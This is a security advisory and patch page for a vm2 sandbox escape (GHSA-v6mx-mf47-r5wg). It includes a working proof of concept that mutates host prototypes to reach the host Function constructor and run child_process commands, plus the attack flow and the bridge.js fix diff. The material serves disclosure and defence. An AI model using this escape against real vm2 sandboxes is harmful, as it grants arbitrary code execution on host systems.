vm2 has a Sandbox Escape issue
Description
Summary
By combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code.
PoC
"use strict";
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
"use strict";
const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
setProto.call(getProto.call(e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
const HostFunction = e.constructor.constructor;
new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
}
}
f();
`);
Impact
Sandbox Escape → RCE
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
CVE-2026-47131 allows vm2 sandbox escape to RCE by mutating host prototype chains via bridged Function.prototype.call and Object.__proto__ setter.
Vulnerability
CVE-2026-47131 is a sandbox escape vulnerability in vm2 versions prior to 3.11.4. The bug resides in the bridge's apply trap, which allows sandbox code to invoke host functions with a host object as this. By combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__") and Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), an attacker can obtain the host's Object.prototype.__proto__ setter and use it to mutate host-realm prototype chains, bypassing write traps [1][2]. The vulnerability is reachable without special configuration in all vulnerable vm2 versions [2].
Exploitation
The attacker needs to run arbitrary JavaScript inside a vm2 sandbox. The exploit sequence involves: (1) obtaining host __lookupGetter__ and __lookupSetter__ through Buffer.call.call with {}.__lookupGetter__/{}.__lookupSetter__; (2) triggering a TypeError via WebAssembly.compileStreaming() to obtain a host-realm error object; (3) using the obtained setter to set the error's [[Prototype]] to null; (4) triggering another WebAssembly error, which produces an error with a broken prototype chain; (5) accessing e.constructor.constructor to obtain the host's Function constructor; (6) executing new HostFunction("return process")() to access process.mainModule.require("child_process") and run arbitrary commands [1][3][4].
Impact
Successful exploitation results in full sandbox escape, granting the attacker arbitrary code execution on the host system at the privilege level of the Node.js process. The attacker gains access to the host's process object and can execute system commands, read/write files, or install malware [1][3][4].
Mitigation
A fix was released in vm2 version 3.11.4 on 2026-05-29 [2]. Users should upgrade immediately. There are no known workarounds for versions prior to 3.11.4 [2]. This vulnerability is not listed in CISA's Known Exploited Vulnerabilities (KEV) catalog.
AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2- Range: <= 3.11.3
Patches
127c525f4615efix(GHSA-v6mx-mf47-r5wg): block host prototype mutation via apply-trap indirection
5 files changed · +590 −1
CHANGELOG.md+8 −0 modified@@ -1,5 +1,13 @@ # Changelog +## [3.11.4] + +Single advisory closed. Patch release — no API changes. + +### Security fix + +- **GHSA-v6mx-mf47-r5wg** — host prototype mutation via apply-trap indirection. Sandbox code could reach host prototype-mutating setters (`Object.prototype.__proto__`, `setPrototypeOf`, `defineProperty`, `__defineSetter__`/`__defineGetter__`) through `Function.prototype.{call,apply,bind}` and `Reflect.{apply,construct}` indirection, sever a host intrinsic's prototype chain, and escape via the bridge's `thisEnsureThis` proto-walk fallthrough. Two-layer structural fix in `lib/bridge.js` (apply-trap blocklist + cache check before proto-walk). See ATTACKS.md Category 30 and `test/ghsa/GHSA-v6mx-mf47-r5wg/`. + ## [3.11.3] Single advisory closed. Patch release — no API changes.
docs/ATTACKS.md+131 −0 modified@@ -2242,6 +2242,135 @@ Together the two layers restore **[Defense Invariant #2](#defense-invariants)** --- +## Attack Category 30: Host Prototype Mutation via Bridged Setter Primitives + +**Uses**: [Category 2: Prototype Chain Manipulation](#attack-category-2-prototype-chain-manipulation), [Category 4: Error Object Exploitation](#attack-category-4-error-object-exploitation), [Category 7: Promise and Async Exploitation](#attack-category-7-promise-and-async-exploitation). + +### Description + +The bridge's `set` / `defineProperty` / `setPrototypeOf` proxy traps block direct mutation of host-realm objects from the sandbox (`isProtectedHostObject`). But the **apply trap** lets sandbox code invoke host functions with a host object as `this`. When the function being applied is host's `Object.prototype.__proto__` setter (or any prototype-mutating intrinsic — `Object.setPrototypeOf`, `Reflect.setPrototypeOf`, `Object.prototype.__defineSetter__`, etc.), the actual mutation happens inside the host intrinsic with `this` = the raw host object, **bypassing every write trap** because no proxy is involved in the assignment. + +Severing even a non-protected host prototype (Node-internal `NodeError.prototype`, a per-error `[[Prototype]]`, etc.) is enough to break downstream bridge invariants: once a host-realm chain is truncated, the bridge's proto-walking helpers (`thisFromOtherWithFactory`, `thisFromOtherForThrow`, `thisEnsureThis`) can no longer find a registered mapping at the right level, and the value can fall through unwrapped. From there `e.constructor.constructor` resolves to host `Function`, and `new HostFunction("return process")()` yields RCE. + +The PoC reaches host's `__proto__` setter via: + +```javascript +const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); +``` + +`{}.__lookupSetter__` is sandbox-side but `connect()`'ed to host's, so when applied through `Buffer.call.call(...)` it returns host's `Object.prototype.__proto__` setter (wrapped as a bridge proxy). Calling `setProto.call(<wrapped host object>, null)` invokes the wrapped host setter via the apply trap. Before this fix the trap simply unwrapped `context` and forwarded the call to `otherReflectApply(hostSetter, rawHostObject, [null])`, mutating the host object's prototype. + +The canonical PoC pairs the setter primitive with `WebAssembly.compileStreaming()` to surface a host-realm `TypeError`: + +CWE-913 (Improper Control of Dynamically-Managed Code Resources). + +### Attack Flow + +1. Resolve `getProto` / `setProto` to host's `Object.prototype.__proto__` accessor via `Buffer.call.call({}.__lookup{Getter,Setter}__, Buffer, "__proto__")`. +2. Trigger a host-realm rejection — `await WebAssembly.compileStreaming()` throws a host `TypeError`. +3. In `catch (e)`, the host `TypeError` arrives wrapped (the first time the bridge has seen it). Call `setProto.call(getProto.call(e), null)`. The apply trap unwraps `context` to the raw host `TypeError.prototype` and forwards to the host setter, severing the host `TypeError.prototype.[[Prototype]]` from host `Error.prototype`. +4. Trigger a second host-realm rejection. The fresh host `TypeError` instance walks back into sandbox code through V8 internals (the await machinery delivers it directly). The bridge's proto-walk no longer reaches a registered mapping at the right level, so `ensureThis` falls through and returns the raw host `TypeError` unwrapped. +5. Sandbox reads `e.constructor` → raw host `TypeError` (unwrapped, never crossed the bridge), `.constructor.constructor` → host `Function`. `new HostFunction("return process")()` returns host `process`. RCE. + +### Canonical Example + +```javascript +// (advisory GHSA-v6mx-mf47-r5wg) +const { VM } = require("vm2"); +const vm = new VM(); +vm.run(` + "use strict"; + const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); + const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); + async function f() { + try { await WebAssembly.compileStreaming(); } + catch(e) { setProto.call(getProto.call(e), null); } + try { await WebAssembly.compileStreaming(); } + catch(e) { + const HostFunction = e.constructor.constructor; + new HostFunction("return process")() + .mainModule.require('child_process').execSync('touch pwned'); + } + } + f(); +`); +``` + +### Why It Works + +The two underlying invariants violated: + +- **Invariant A (write-side)**: "Sandbox code must not be able to mutate any host-realm object's prototype chain via the bridge." The proxy `set` / `defineProperty` / `setPrototypeOf` traps enforce this on direct mutation paths, but the apply trap creates a **second** mutation path — invoking a host prototype-mutating intrinsic *as a function* with a host object as `this`. The mutation happens inside the host intrinsic, not through any proxy, so no write trap fires. +- **Invariant B (read-side)**: "No host-realm object reaches sandbox code unwrapped." The bridge identifies host objects by walking the prototype chain looking for a registered mapping. When a host chain has been severed, the walk fails to find the mapping and helpers like `thisEnsureThis` fall through and return the raw host value AS-IS. + +Together they form a compose-able primitive: mutate any host prototype → break the bridge's proto-walk recognition → next host value of that class arrives unwrapped → `e.constructor.constructor` chain to host `Function`. + +### Mitigation + +**Two-layer structural fix in `lib/bridge.js`.** + +**Layer A (write-side, primary): apply-trap refusal of host prototype mutators.** At bridge init, cache the identity of every host-realm function that mutates `[[Prototype]]` (or could install code that mutates it): + +```javascript +// host Object.prototype.__proto__ setter +addDangerousHostProtoMutator( + otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Object, '__proto__').set +); +// host Object.prototype.__defineSetter__ / __defineGetter__ +// host Object.setPrototypeOf / Object.defineProperty / Object.defineProperties +// host Reflect.setPrototypeOf / Reflect.defineProperty +``` + +In the apply trap: + +```javascript +if (!isHost) { + if (isDangerousHostProtoMutator(object)) throw new VMError(OPNA); + // Peel one indirection layer: Function.prototype.call / .apply / .bind + if (isApplyIndirectionPrimitive(object)) { + const underlying = otherFromThis(context); + if (isDangerousHostProtoMutator(underlying)) throw new VMError(OPNA); + } + // Peel Reflect.apply / Reflect.construct (underlying is args[0]) + if (isReflectApplyPrimitive(object)) { + const underlying = otherFromThis(args[0]); + if (isDangerousHostProtoMutator(underlying)) throw new VMError(OPNA); + } +} +``` + +The indirection peel covers the canonical PoC shape (`setProto.call(tp, null)`, where the apply target is `Function.prototype.call` and the dangerous function is `context`), `setProto.apply(tp, [null])`, and `Reflect.apply(setProto, tp, [null])`. The peel is depth-1 — recursive indirection (`Function.prototype.call.call(...)`) collapses into the same shape at the V8 level because `Function.prototype.call` is the apply target and its `context` is the inner reference. + +**Layer B (read-side, defense-in-depth): cache check before proto walk in `thisEnsureThis`.** Before walking the prototype chain, check `mappingOtherToThis` for an existing wrap of `other`. If found, return it. This catches host-realm values that the bridge has previously wrapped — even if their prototype chains were subsequently tampered with by some other route, the cache lookup is independent of the prototype chain. + +We deliberately do **not** wrap on the proto-walk fall-through paths (null proto, walked-off without finding a mapping). Wrapping there would re-introduce GHSA-9vg3-4rfj-wgcm — a sandbox-realm `{__proto__: null}` value passed to `handleException` would be turned into a host-treating proxy whose `set` trap unwraps sandbox-side proxies of host references onto the underlying object, recreating the very escape that fix closed. Layer A prevents the canonical attack from reaching a state where a fresh, never-bridged host object surfaces here through a tampered proto chain. + +### Detection Rules + +- **Sandbox-applied host `Object.prototype.__proto__` setter** — reached via `__lookupSetter__` on a host-prototype-bearing reference (`Buffer`, `Error.prototype`, etc.). The cache `dangerousHostProtoMutators` identifies it regardless of how it's named in the sandbox. +- **Sandbox-applied host `Object.setPrototypeOf` / `Object.defineProperty` / `Object.defineProperties`** — reached via `Object` (a bridge proxy of host `Object`) or via a host-side method that returns these. +- **Sandbox-applied host `Reflect.setPrototypeOf` / `Reflect.defineProperty`** — reached via `Reflect` (bridge proxy). `Reflect.apply` and `Reflect.construct` are tracked as indirection primitives so a sandbox using `Reflect.apply(setProto, tp, [null])` is also caught. +- **Sandbox-applied host `Object.prototype.__defineSetter__` / `__defineGetter__`** — would install attacker-defined accessors on a host target. Indirect mutation primitive; same chokepoint. +- **`Function.prototype.call` / `.apply` / `.bind` indirection** — the apply trap peels one layer to inspect the underlying function being applied. `setProto.call(...)` and `setProto.apply(...)` are caught. +- **`Reflect.apply` / `Reflect.construct` indirection** — the apply trap peels these and inspects `args[0]` as the underlying function. + +### Considered Attack Surfaces + +- **Sandbox-realm `Object.setPrototypeOf` / `Reflect.setPrototypeOf` on sandbox values** — not in the dangerous-mutator set (only host-realm copies are). Sandbox code can still mutate its own prototypes freely. +- **`__proto__` *getter* (read-only)** — not blocked. Reading a host prototype is not, by itself, a privilege-escalation primitive, and blocking the getter would break legitimate `instanceof` and inspection paths. The attack requires *writing*, which is what the dangerous-mutator set covers. +- **Deeper indirection** (`Function.prototype.call.call.call(...)`) — V8 collapses these at the spec level. The apply trap's `object` is always the outermost `Function.prototype.call`, and `context` is the next-inner reference. Depth-1 peel is sufficient. +- **`Function.prototype.bind` returning a new function** — bound functions don't immediately apply; they're invoked later. When the bound function is eventually applied, the apply trap fires again with the bound function as `object`. The bound function unwraps to a host-realm "bound function exotic object" rather than the original target, so the simple identity check on the bound function's identity wouldn't hit. However, sandbox-controllable bind paths reaching a dangerous mutator can be tested adversarially; if a bypass surfaces, the peel should be extended. +- **Symbol-based "private" setter slots** — not known to exist for prototype mutation. The defense covers the documented set of mutators. + +### Related Categories + +- [Category 2: Prototype Chain Manipulation](#attack-category-2-prototype-chain-manipulation) — sets up the attacker's goal of mutating a host prototype chain. +- [Category 4: Error Object Exploitation](#attack-category-4-error-object-exploitation) — the canonical PoC uses host-realm `TypeError` as the carrier. +- [Category 7: Promise and Async Exploitation](#attack-category-7-promise-and-async-exploitation) — `WebAssembly.compileStreaming()` rejection is the host-error source. +- [Category 26: Sandbox-Realm Null-Proto via Bridge `from()`](#attack-category-26-sandbox-realm-null-proto-via-bridge-from--set-trap-write-through) — explains why we cannot indiscriminately wrap fall-through values in `thisEnsureThis`. + +--- + ## Considered Attack Surfaces These attack surfaces were analyzed and found to be safe or low-risk. They are documented here so future reviewers do not re-investigate them. @@ -2327,6 +2456,7 @@ The most dangerous attacks combine multiple categories. Each pattern references 20. **Array Species Self-Return + Object.assign** [Categories 3, 10, 18]: Create host array, set up self-referential species constructor, inject via `Object.assign` (bypasses proxy `set` trap), call `r.map(f)` for raw host values. Chain `cwu` calls to extract host `Function`. 21. **Host Built-in Identity Leak via Proto Walk** [Categories 1, 2, 8] (NOW FIXED): Walk the prototype chain via `({}).__lookupGetter__('__proto__')` composed with `Buffer.apply` (or any host-bound `__proto__` getter) to terminate at host `Object.prototype`, then read `.constructor` to obtain a *reference* to host `Object` whose identity is disjoint from sandbox `Object`. The original symbol-filter patch (commit `67bc511`) closed the demonstrated RCE payload but left this primitive intact — any future bypass that turns "I have a host built-in handle" into "I can read a host symbol or call a host method that bypasses bridge sanitisation" would re-enable the same escape class. Closed structurally by `thisAddIdentityMapping` in `lib/bridge.js` (see Category 8 mitigation). 22. **Async Generator yield*-Return Thenable + Stack-Overflow Realm Skew** [Categories 4, 7, 29] (NOW FIXED): Use `yield*` to a no-`return` inner async iterator, then `.return(thenable)` where the thenable's `.then` synchronously throws via deep recursion. V8's `PromiseResolveThenableJob` captures the throw and the yield* continuation surfaces it as `{ value, done: false }` — bypassing both the transformer's user-`catch` instrumentation and the `globalPromise.prototype.then` rejection sanitiser. Binary-search the recursion depth where the overflow originates inside V8's host C++ code so the `RangeError` is host-realm, then `e.constructor.constructor("return process")()`. Closed by wrapping `%AsyncGeneratorPrototype%.next/.return/.throw` to route iterator-result `.value` and rejections through `handleException`, plus replacing every thenable arg with a sandbox-realm wrapper whose `.then` is a fixed `safeThen` and always-shadowing the non-function branch so V8's re-read of `.then` cannot observe attacker-controlled values. +23. **Host Prototype Mutation via Apply-Trap Indirection + WebAssembly Rejection** [Categories 2, 4, 7, 30] (NOW FIXED): Resolve host `Object.prototype.__proto__` setter via `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")` (the `connect()`-aliased sandbox `__lookupSetter__` walks back to host). Trigger a host-realm `TypeError` (e.g., `await WebAssembly.compileStreaming()`). Inside `catch(e)`, call `setProto.call(getProto.call(e), null)` — the apply trap unwraps `context` and forwards to the host setter, severing host `TypeError.prototype.[[Prototype]]` without any write trap firing. The next host `TypeError` from `await WebAssembly.compileStreaming()` walks back into sandbox code through V8 async internals; the bridge's proto-walk no longer finds the registered mapping at the right level and the value falls through unwrapped. `e.constructor.constructor` is then host `Function`. Closed structurally by (A) caching host prototype-mutating intrinsics (`Object.prototype.__proto__` setter, `Object.setPrototypeOf`, `Reflect.setPrototypeOf`, `Object.{defineProperty,defineProperties}`, `Reflect.defineProperty`, `Object.prototype.__define{Getter,Setter}__`) and refusing them in the apply trap with one layer of indirection peel for `Function.prototype.{call,apply,bind}` and `Reflect.{apply,construct}`; (B) cache-check on `mappingOtherToThis` before the proto-walk in `thisEnsureThis` so any previously-bridged host value returns the existing proxy even with a tampered proto chain. ### How The Bridge Defends @@ -2364,6 +2494,7 @@ The most dangerous attacks combine multiple categories. Each pattern references | Sandbox-realm null-proto via bridge `from()` set-trap write-through (GHSA-9vg3-4rfj-wgcm) | `handleException` and sandbox-Promise.then onFulfilled use `ensureThis` (sandbox-realm passthrough); host-Promise rejection sanitiser composes `from()` outside `handleException` so the GHSA-mpf8 invariant still wraps host null-proto values | | Internal state probe via computed property access on `globalThis` (GHSA-2cm2-m3w5-gp2f) | Bootstrap script declares `let VM2_INTERNAL_STATE_…` at script-top so the binding lands in the context's `[[GlobalLexicalEnvironment]]`; transformer-emitted `${INTERNAL_STATE_NAME}.handleException(…)` resolves there as before, but `globalThis[k]`, `Reflect.get`, descriptor APIs, and own-property enumeration cannot reach it (the global object's own-key table no longer contains the entry). Supersedes the identifier-only mitigation of GHSA-wp5r-2gw5-m7q7 by closing the entire computed-key class structurally. | | Bridge saved-state leak via `Array.prototype[N]` setter (GHSA-9qj6-qjgg-37qq) | `neutralizeArraySpeciesBatch` writes saved entries via `thisReflectDefineProperty`; appended slot is an own data property and no sandbox-installed setter is invoked while the bridge holds raw saved state | +| Host prototype mutation via apply trap (GHSA-v6mx-mf47-r5wg) | Apply trap caches the host prototype-mutating intrinsics (`Object.prototype.__proto__` setter, `Object.setPrototypeOf`, `Reflect.setPrototypeOf`, `Object.{defineProperty,defineProperties}`, `Reflect.defineProperty`, `__defineSetter__`, `__defineGetter__`) in `dangerousHostProtoMutators` and refuses any invocation reaching them — direct or via one-layer indirection through `Function.prototype.{call,apply,bind}` / `Reflect.{apply,construct}`. Read-side defense-in-depth in `thisEnsureThis` cache-checks `mappingOtherToThis` before the proto-walk so any previously-bridged host value returns the existing proxy even when its prototype chain has been tampered with by some other route. | ### Key Security Invariant: Promise Species Resolution Timing
lib/bridge.js+227 −0 modified@@ -488,6 +488,9 @@ function createBridge(otherInit, registerProxy) { reflectOwnKeys: thisReflectOwnKeys, reflectEnumerate: thisReflectEnumerate, reflectGetPrototypeOf: thisReflectGetPrototypeOf, + // SECURITY (GHSA-v6mx-mf47-r5wg): expose so the *other* bridge can + // identify this host-realm function in its dangerous-proto-mutator set. + reflectSetPrototypeOf: thisReflectSetPrototypeOf, reflectIsExtensible: thisReflectIsExtensible, reflectPreventExtensions: thisReflectPreventExtensions, objectHasOwnProperty: thisObjectHasOwnProperty, @@ -643,6 +646,163 @@ function createBridge(otherInit, registerProxy) { } } + // SECURITY (GHSA-v6mx-mf47-r5wg): Identity set of every host-realm function + // whose invocation would mutate (or could install code that mutates) the + // [[Prototype]] of an arbitrary object. The bridge's `set` / `defineProperty` + // / `setPrototypeOf` proxy traps already block direct mutation of host + // objects from the sandbox, but the apply trap let sandbox code invoke these + // intrinsics *as functions* with a wrapped host object as `this`, which + // bypasses every write trap because the actual mutation happens inside the + // host-realm intrinsic, not through a proxy. + // + // Even non-protected host prototypes (Node-internal `NodeError.prototype`, + // per-instance `[[Prototype]]`s, etc.) being severed is enough to break + // downstream bridge invariants — once a host-realm chain is truncated, + // `thisFromOtherWithFactory`'s proto-walk no longer finds a registered + // mapping and the value can fall through unwrapped (see the read-side + // hardening in `thisEnsureThis` below). Closing the write side here is the + // upstream chokepoint that prevents the underlying primitive from being + // invoked at all. + // + // Intrinsics covered: + // - host `Object.prototype.__proto__` setter + // (PoC: `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`) + // - host `Object.setPrototypeOf` + // - host `Reflect.setPrototypeOf` + // - host `Object.prototype.__defineSetter__` (would install a new __proto__ + // setter / data property on a host target, indirect mutation path) + // - host `Object.prototype.__defineGetter__` (symmetric: redefines property + // accessors on a host target) + const dangerousHostProtoMutators = new ThisWeakMap(); + function addDangerousHostProtoMutator(value) { + if (value === null || typeof value !== 'function') return; + try { + thisReflectApply(thisWeakMapSet, dangerousHostProtoMutators, [value, true]); + } catch (e) { + /* best effort */ + } + } + // SECURITY (GHSA-v6mx-mf47-r5wg): host `Function.prototype.call` / + // `Function.prototype.apply` / `Function.prototype.bind` — the canonical + // indirection primitives. When the apply-trap target is one of these, + // `context` is the *underlying* function being applied, and `args[0]` (for + // .call) / `args[0]` (for .apply, as a list) is its `this`. We need to + // inspect `context` to determine whether the underlying call is dangerous. + const applyIndirectionPrimitives = new ThisWeakMap(); + function addApplyIndirectionPrimitive(value) { + if (value === null || typeof value !== 'function') return; + try { + thisReflectApply(thisWeakMapSet, applyIndirectionPrimitives, [value, true]); + } catch (e) { + /* best effort */ + } + } + function isApplyIndirectionPrimitive(value) { + if (value === null || typeof value !== 'function') return false; + try { + return thisReflectApply(thisWeakMapHas, applyIndirectionPrimitives, [value]) === true; + } catch (e) { + return false; + } + } + // host `Reflect.apply` / `Reflect.construct` — same idea but the underlying + // function is `args[0]` rather than `context`. + const reflectApplyPrimitives = new ThisWeakMap(); + function addReflectApplyPrimitive(value) { + if (value === null || typeof value !== 'function') return; + try { + thisReflectApply(thisWeakMapSet, reflectApplyPrimitives, [value, true]); + } catch (e) { + /* best effort */ + } + } + function isReflectApplyPrimitive(value) { + if (value === null || typeof value !== 'function') return false; + try { + return thisReflectApply(thisWeakMapHas, reflectApplyPrimitives, [value]) === true; + } catch (e) { + return false; + } + } + try { + // host Object.prototype.__proto__ setter + const protoDesc = otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Object, '__proto__'); + if (protoDesc) { + addDangerousHostProtoMutator(protoDesc.set); + // Note: we intentionally do NOT add the getter — reading a host + // prototype is not, by itself, a privilege escalation primitive, and + // blocking the getter would break legitimate `instanceof` and + // inspection paths. + } + // Cache host `Function.prototype.call` / `Function.prototype.apply` as + // the canonical indirection primitives. The canonical PoC reaches host + // `__proto__` setter via `setProto.call(tp, null)`, where the apply + // trap target is `Function.prototype.call` (sandbox-side `.call` is + // `connect()`ed to host's). Tracking these lets us peel one indirection + // layer in the apply trap and inspect the *underlying* function for + // dangerousness. + if (otherGlobalPrototypes.Function) { + const callDesc = otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Function, 'call'); + if (callDesc && callDesc.value) addApplyIndirectionPrimitive(callDesc.value); + const applyDesc = otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Function, 'apply'); + if (applyDesc && applyDesc.value) addApplyIndirectionPrimitive(applyDesc.value); + const bindDesc = otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Function, 'bind'); + if (bindDesc && bindDesc.value) addApplyIndirectionPrimitive(bindDesc.value); + } + // host Reflect.apply — `otherInit.reflectApply` (already exported). + if (typeof otherInit.reflectApply === 'function') { + addReflectApplyPrimitive(otherInit.reflectApply); + } + if (typeof otherInit.reflectConstruct === 'function') { + addReflectApplyPrimitive(otherInit.reflectConstruct); + } + // host Object.prototype.__defineSetter__ / __defineGetter__ + const defSetterDesc = otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Object, '__defineSetter__'); + if (defSetterDesc && defSetterDesc.value) addDangerousHostProtoMutator(defSetterDesc.value); + const defGetterDesc = otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Object, '__defineGetter__'); + if (defGetterDesc && defGetterDesc.value) addDangerousHostProtoMutator(defGetterDesc.value); + // host Object.setPrototypeOf — reach via otherGlobalPrototypes.Object.constructor + // (which is host `Object`). + const ctorDesc = otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Object, 'constructor'); + if (ctorDesc && ctorDesc.value) { + const hostObjectCtor = ctorDesc.value; + const ospDesc = otherSafeGetOwnPropertyDescriptor(hostObjectCtor, 'setPrototypeOf'); + if (ospDesc && ospDesc.value) addDangerousHostProtoMutator(ospDesc.value); + // host Object.defineProperty / defineProperties — used to install a + // new __proto__ accessor on a host target. Same write-side concern + // as Object.setPrototypeOf when the first argument unwraps to a + // host-realm object. + const dpDesc = otherSafeGetOwnPropertyDescriptor(hostObjectCtor, 'defineProperty'); + if (dpDesc && dpDesc.value) addDangerousHostProtoMutator(dpDesc.value); + const dpsDesc = otherSafeGetOwnPropertyDescriptor(hostObjectCtor, 'defineProperties'); + if (dpsDesc && dpsDesc.value) addDangerousHostProtoMutator(dpsDesc.value); + } + // host Reflect.setPrototypeOf — the bridge result already exposes the + // host-side Reflect helpers via `otherInit.reflectGetPrototypeOf` etc. + // Host `Reflect.setPrototypeOf` is `otherInit.reflectSetPrototypeOf` + // when exported (added by this fix). Fall back to nothing if the host + // bridge build is older than this fix. + if (typeof otherInit.reflectSetPrototypeOf === 'function') { + addDangerousHostProtoMutator(otherInit.reflectSetPrototypeOf); + } + // host Reflect.defineProperty — analogous to Object.defineProperty. + if (typeof otherInit.reflectDefineProperty === 'function') { + addDangerousHostProtoMutator(otherInit.reflectDefineProperty); + } + } catch (e) { + /* best effort */ + } + + function isDangerousHostProtoMutator(value) { + if (isHost) return false; + if (value === null || typeof value !== 'function') return false; + try { + return thisReflectApply(thisWeakMapHas, dangerousHostProtoMutators, [value]) === true; + } catch (e) { + return false; + } + } + function isHostPromiseThen(value) { return otherPromiseThen !== undefined && value === otherPromiseThen; } @@ -1275,6 +1435,50 @@ function createBridge(otherInit, registerProxy) { // Note: target@this(unsafe) context@this(unsafe) args@this(safe-array) throws@this(unsafe) validateHandlerTarget(this, target); // SECURITY (GHSA-qcp4-v2jj-fjx8) const object = getHandlerObject(this); // @other(unsafe) + // SECURITY (GHSA-v6mx-mf47-r5wg): Invariant A — sandbox-applied host + // functions must not mutate any host-realm object's prototype chain + // via the bridge. The `set` / `defineProperty` / `setPrototypeOf` + // proxy traps already block direct mutation of host-realm objects + // (see `isProtectedHostObject`), but if sandbox code obtains a + // reference to a host-realm prototype-mutating intrinsic and applies + // it directly (e.g. + // `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")` → + // host `Object.prototype.__proto__` setter), the actual prototype + // mutation happens inside the intrinsic with `this` = an unwrapped + // host object, bypassing every write trap. Refuse the call upstream. + // + // We refuse before unwrapping `context` / `args` so the host + // intrinsic is never reached with attacker-controlled inputs. The + // VMError mirrors the response from `isProtectedHostObject` callers + // (set/defineProperty/deleteProperty/preventExtensions). + if (!isHost) { + // SECURITY (GHSA-v6mx-mf47-r5wg): direct invocation check. + if (isDangerousHostProtoMutator(object)) throw new VMError(OPNA); + // SECURITY (GHSA-v6mx-mf47-r5wg): peel one indirection layer. + // When the apply target is host `Function.prototype.call` / + // `Function.prototype.apply` / `Function.prototype.bind`, + // `context` is the *underlying* function. The canonical PoC + // reaches host `__proto__` setter via + // `setProto.call(tp, null)`, where the apply target is + // `Function.prototype.call` (sandbox `.call` is `connect()`ed + // to host's), `context` is `setProto`, and `args = [tp, null]`. + // Unwrap `context` first (it may be a sandbox proxy of the + // host setter) and check the underlying. + if (isApplyIndirectionPrimitive(object)) { + let underlying; + try { underlying = otherFromThis(context); } catch (e) {} + if (isDangerousHostProtoMutator(underlying)) throw new VMError(OPNA); + } + // When the apply target is host `Reflect.apply` / + // `Reflect.construct`, the underlying function is `args[0]`. + if (isReflectApplyPrimitive(object)) { + if (args && args.length > 0) { + let underlying; + try { underlying = otherFromThis(args[0]); } catch (e) {} + if (isDangerousHostProtoMutator(underlying)) throw new VMError(OPNA); + } + } + } // SECURITY (GHSA-55hx): if the host function being applied is one of // host's Promise.prototype.then/catch/finally, wrap the sandbox-supplied // callbacks so their argument values flow through handleException / @@ -1805,6 +2009,29 @@ function createBridge(otherInit, registerProxy) { } // fallthrough case 'function': + // SECURITY (GHSA-v6mx-mf47-r5wg): Invariant B — no host-realm + // object reaches sandbox code unwrapped. Cache check FIRST, + // before the proto-chain walk: if `other` has ever crossed the + // bridge as a host-realm value (`mappingOtherToThis` tracks + // every host-realm value the bridge has wrapped), return the + // existing proxy. This catches host-realm values whose + // prototype chain was subsequently tampered with — the cache + // lookup is independent of the prototype chain and so cannot + // be defeated by mutating it. + // + // Note: we deliberately do NOT wrap on the fall-through paths + // below (null proto, or walked-off the chain without finding a + // mapping). Wrapping there would re-introduce GHSA-9vg3-4rfj-wgcm + // — a sandbox-realm `{__proto__: null}` value passed to + // handleException would be turned into a host-treating proxy + // whose `set` trap unwraps sandbox-side proxies of host + // references onto the underlying object, recreating the very + // escape that fix closed. The write-side defense in the apply + // trap above (Invariant A) prevents the canonical attack from + // reaching a state where a fresh, never-bridged host object + // surfaces here through a tampered proto chain. + const ensureCached = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]); + if (ensureCached) return ensureCached; let proto = thisReflectGetPrototypeOf(other); if (!proto) { return other;
package.json+1 −1 modified@@ -13,7 +13,7 @@ "alcatraz", "contextify" ], - "version": "3.11.3", + "version": "3.11.4", "main": "index.js", "sideEffects": false, "repository": "github:patriksimek/vm2",
test/ghsa/GHSA-v6mx-mf47-r5wg/repro.js+223 −0 added@@ -0,0 +1,223 @@ +/** + * GHSA-v6mx-mf47-r5wg — Sandbox escape via host intrinsic prototype severance + * + * ## Vulnerability class + * The sandbox can corrupt the prototype chain of a host-realm object by calling + * the host `Object.prototype.__proto__` setter (obtained via + * `({}).__lookupSetter__('__proto__')`, which `connect()` routes to host) with + * a wrapped host object as the `this` argument. The apply trap unwraps the + * proxy back to the raw host object and lets the host setter mutate it + * directly — the proxy `setPrototypeOf` trap (which throws `OPNA`) is + * bypassed entirely. + * + * Once a non-protected host prototype (e.g. a Node-internal `NodeError` + * subclass of `TypeError`) has its `__proto__` severed to `null`, any + * subsequent host-realm value with that prototype that crosses into the + * sandbox bypasses the bridge's recognition of host intrinsics. The bug + * surfaces inside `thisEnsureThis` (lib/bridge.js): its proto-chain walk + * looks up `protoMappings` for each prototype on the chain, and on + * fallthrough (no mapping found, chain reaches `null`) it returned `other` + * AS-IS. For a host-realm value with a severed chain, this returns the raw + * host object to sandbox code — `e.constructor.constructor === host.Function` + * → RCE. + * + * ## PoC summary + * 1. `Buffer.call.call({}.__lookupGetter__, Buffer, '__proto__')` extracts + * the host `Object.prototype.__proto__` getter via `connect()`. + * 2. `Buffer.call.call({}.__lookupSetter__, Buffer, '__proto__')` extracts + * the host `__proto__` setter. + * 3. `await WebAssembly.compileStreaming()` rejects with a host `NodeError` + * extending 